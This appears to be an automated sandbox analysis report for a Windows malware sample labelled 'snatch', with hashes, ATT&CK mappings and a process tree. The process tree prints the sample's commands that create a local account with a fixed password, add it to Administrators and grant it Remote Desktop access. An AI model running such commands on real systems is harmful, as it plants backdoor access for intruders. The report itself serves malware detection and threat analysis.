66f2de00dc7b3a5aa02180827e1fb8a483c8d4e9c081efdf135d65c9dba0144f

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-09-2024 23:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe
Size

6.8MB
MD5

89f8c33a8f051aefb2610733741d27cc
SHA1

3d824f27bb72642d49222588e44a625268e418e0
SHA256

66f2de00dc7b3a5aa02180827e1fb8a483c8d4e9c081efdf135d65c9dba0144f
SHA512

295976cccf87bac57cc45cc53c74021a38a052d4f6c89e04b8a85e10f0e3b7c4384eac0a4d38234c4d27ce135fabb579abb831c52ad90108e8ef51c7257a2136
SSDEEP

49152:7O9rQoUTmShxLtFWtJ+45UXLEef5AMM+5dc+r3+nJ5EGpLCS+p2ALVE:76OKShQy45UhCMM0c+r3+fEGpOD

Score

9^/10

discovery lateral_movement

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
lateral_movement

RDP Hijacking
T1563.002

Processes:

cmd.exenet.exenet1.exe

pid process

1460 cmd.exe
680 net.exe
4792 net1.exe
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe

description pid process

Token: SeDebugPrivilege 1196 2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe

pid	process
1460	cmd.exe
680	net.exe
4792	net1.exe

description	pid	process
Token: SeDebugPrivilege	1196	2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	process	target process
PID 2824 wrote to memory of 4168	2824	cmd.exe	net.exe
PID 2824 wrote to memory of 4168	2824	cmd.exe	net.exe
PID 4168 wrote to memory of 1068	4168	net.exe	net1.exe
PID 4168 wrote to memory of 1068	4168	net.exe	net1.exe
PID 4960 wrote to memory of 4572	4960	cmd.exe	net.exe
PID 4960 wrote to memory of 4572	4960	cmd.exe	net.exe
PID 4572 wrote to memory of 1164	4572	net.exe	net1.exe
PID 4572 wrote to memory of 1164	4572	net.exe	net1.exe
PID 1460 wrote to memory of 680	1460	cmd.exe	net.exe
PID 1460 wrote to memory of 680	1460	cmd.exe	net.exe
PID 680 wrote to memory of 4792	680	net.exe	net1.exe
PID 680 wrote to memory of 4792	680	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-18_89f8c33a8f051aefb2610733741d27cc_snatch.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Windows\SYSTEM32\cmd.exe
cmd /c net user mssqlsvc P@ssw0rd /add
2⤵
- Suspicious use of WriteProcessMemory
PID:2824

C:\Windows\system32\net.exe
net user mssqlsvc P@ssw0rd /add
3⤵
- Suspicious use of WriteProcessMemory
PID:4168

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user mssqlsvc P@ssw0rd /add
4⤵
PID:1068

C:\Windows\SYSTEM32\cmd.exe
cmd /c net localgroup Administrators mssqlsvc /add
2⤵
- Suspicious use of WriteProcessMemory
PID:4960

C:\Windows\system32\net.exe
net localgroup Administrators mssqlsvc /add
3⤵
- Suspicious use of WriteProcessMemory
PID:4572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators mssqlsvc /add
4⤵
PID:1164

C:\Windows\SYSTEM32\cmd.exe
cmd /c net localgroup "Remote Desktop Users" mssqlsvc /add
2⤵
- Remote Service Session Hijacking: RDP Hijacking
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\system32\net.exe
net localgroup "Remote Desktop Users" mssqlsvc /add
3⤵
- Remote Service Session Hijacking: RDP Hijacking
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" mssqlsvc /add
4⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:4792

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1196-0-0x00007FFD92900000-0x00007FFD929BE000-memory.dmp

Filesize
760KB

Download
memory/1196-1-0x00007FFD91E10000-0x00007FFD920D9000-memory.dmp

Filesize
2.8MB

Download
memory/1196-2-0x00007FFD946F0000-0x00007FFD948E5000-memory.dmp

Filesize
2.0MB

Download
memory/1196-3-0x00000254618E0000-0x00000254618F1000-memory.dmp

Filesize
68KB

Download
memory/1196-4-0x00007FFD766D3000-0x00007FFD766D5000-memory.dmp

Filesize
8KB

Download
memory/1196-5-0x0000025463280000-0x0000025463292000-memory.dmp

Filesize
72KB

Download
memory/1196-6-0x00007FFD766D0000-0x00007FFD77191000-memory.dmp

Filesize
10.8MB

Download
memory/1196-9-0x00007FFD766D0000-0x00007FFD77191000-memory.dmp

Filesize
10.8MB

Download